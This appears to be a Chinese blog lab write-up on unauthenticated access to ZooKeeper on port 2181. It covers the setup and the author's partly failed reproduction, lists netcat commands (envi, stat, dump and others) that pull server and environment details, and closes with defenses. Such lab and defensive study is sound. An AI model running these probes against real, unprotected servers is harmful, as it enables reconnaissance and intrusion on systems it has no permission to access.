ZooKeeper 未授权访问漏洞

0x00 漏洞简介

  • ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
  • ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

0x01 环境搭建

测试机:Kali
靶机:Ubuntu
版本:zookeeper-3.4.14

分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz 
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

在这里插入图片描述
搭建成功~~默认端口2181

0x02 漏洞证明

获取该服务器的环境

echo envi|nc 192.168.246.130 2181

在这里插入图片描述
。。。。
试下连接

./zkCli.sh -server  192.168.246.130 2181

在这里插入图片描述
但是直接连接没问题
打扰了 是我不配
搞了好一会 还是2181端口还是关闭的。。。
在这里插入图片描述

0x03 漏洞利用

通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
1、stat:列出关于性能和连接的客户端的统计信息。

echo stat |ncat 127.0.0.1 2181

2、ruok:测试服务器是否运行在非错误状态。

echo ruok |ncat 127.0.0.1 2181

3、reqs:列出未完成的请求。

echo reqs |ncat 127.0.0.1 2181

4、envi:打印有关服务环境的详细信息。

echo envi |ncat 127.0.0.1 2181

5、dump:列出未完成的会话和临时节点。

echo dump |ncat 127.0.0.1 2181

0x04 防御手段

1、修改 ZooKeeper 默认端口,采用其他端口服务。
2、添加访问控制,配置服务来源地址限制策略。
3、增加 ZooKeeper 的认证配置。

0x05 参考

https://www.freebuf.com/column/170904.html
https://xz.aliyun.com/t/6103#toc-7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值